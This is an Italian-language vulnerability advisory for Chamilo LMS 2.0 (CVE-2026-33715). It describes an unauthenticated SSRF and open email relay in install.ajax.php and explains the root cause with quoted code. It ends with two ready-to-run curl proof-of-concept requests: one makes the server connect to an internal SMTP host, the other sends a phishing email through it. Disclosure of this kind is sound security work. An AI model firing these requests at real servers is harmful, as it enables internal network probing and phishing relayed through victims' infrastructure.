
SSRF non autenticato + relay email aperto in Chamilo LMS tramite install.ajax.php — CVSS 7.5
Gravità: Alta (CVSS 7.5)
CWE: CWE-918 (SSRF) + CWE-306 (Autenticazione mancante)
Interessati: chamilo/chamilo-lms 2.0 (commit 0195b29 e precedenti)
Advisory: GHSA-mxc9-9335-45mc
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33715
install.ajax.php in Chamilo LMS 2.0 è accessibile senza autenticazione su installazioni completamente configurate. La sua azione test_mailer accetta un DSN Symfony Mailer arbitrario e una destinazione dai dati POST, consentendo a qualsiasi attaccante non autenticato di forzare il server a stabilire connessioni SMTP verso host interni arbitrari (SSRF) e di inviare email tramite il server Chamilo come open relay.
Stavo effettuando un audit di Chamilo LMS dopo aver notato che aveva accumulato diverse CVE ma non era stato sottoposto a un audit approfondito sui suoi endpoint AJAX. Il mio approccio: elencare tutti i file in public/main/inc/ajax/ e verificare se ciascuno inizia con require_once __DIR__.'/../global.inc.php' — l'inclusione che impone l'autenticazione in tutta la codebase.
install.ajax.php era l'eccezione. Include solo l'autoloader di Composer. Il nome del file suggeriva già che si trattasse di codice di installazione residuo — e cercando test_mailer al suo interno ho confermato che accetta una stringa DSN Symfony Mailer grezza dai dati POST e la passa direttamente a Transport::fromDsn().
Questa è una primitiva SSRF completa: un attaccante non autenticato controlla il protocollo, l'host e la porta a cui il server si connette. Il fatto che invii un'email reale attraverso qualsiasi trasporto configurato lo trasforma anche in un open relay. Ho confermato con una semplice curl che l'endpoint era raggiungibile senza alcun cookie di sessione su un'installazione completamente configurata.
La causa principale è architetturale: il file bypassa il firewall di sicurezza di Symfony perché RewriteCond %{REQUEST_FILENAME} !-f di Apache passa i file PHP esistenti direttamente a PHP, senza mai raggiungere il front controller.
File: public/main/inc/ajax/install.ajax.php
Il file è stato progettato per la procedura guidata di installazione ma rimane accessibile dopo l'installazione. A differenza di ogni altro endpoint AJAX nella stessa directory, non include global.inc.php — il che significa zero autenticazione, zero controllo di autorizzazione:
// Riga 18 — carica solo l'autoloader di Composer, nessuna autenticazione
require_once __DIR__.'/../../../../vendor/autoload.php';
L'azione test_mailer (riga ~138) accetta parametri POST controllati dall'attaccante:
case 'test_mailer':
$mailerDsn = (string) $request->request->get('mailerDsn'); // DSN SMTP arbitrario
$mailerTestDestination = (string) $request->request->get('mailerTestDestination'); // email arbitraria
// ...
$transport = Transport::fromDsn($mailerDsn); // si connette al server SMTP dell'attaccante
$mailer = new Mailer($transport);
$mailer->send($email); // invia email tramite esso
Confronto con qualsiasi endpoint correttamente protetto:
// chat.ajax.php riga 9 — pattern corretto
require_once __DIR__.'/../global.inc.php'; // impone l'autenticazione
api_block_anonymous_users();
Il file viene servito direttamente da Apache (RewriteCond %{REQUEST_FILENAME} !-f fa passare i file PHP esistenti, bypassando il firewall di sicurezza di Symfony). L'assenza dell'inclusione di global.inc.php significa nessuna sessione, nessuna autenticazione, nessun controllo di installazione completata.
Vedi poc.py per una dimostrazione completa.
# SSRF — forza Chamilo a connettersi a un server SMTP interno
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://10.0.0.1:25" \
-d "[email protected]" \
-d "mailerFromName=Test" \
-d "[email protected]"
# Open relay — invia email di phishing tramite il server Chamilo
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://mail.chamilo.org:587" \
-d "[email protected]" \
-d "mailerFromName=Chamilo Security" \
-d "[email protected]"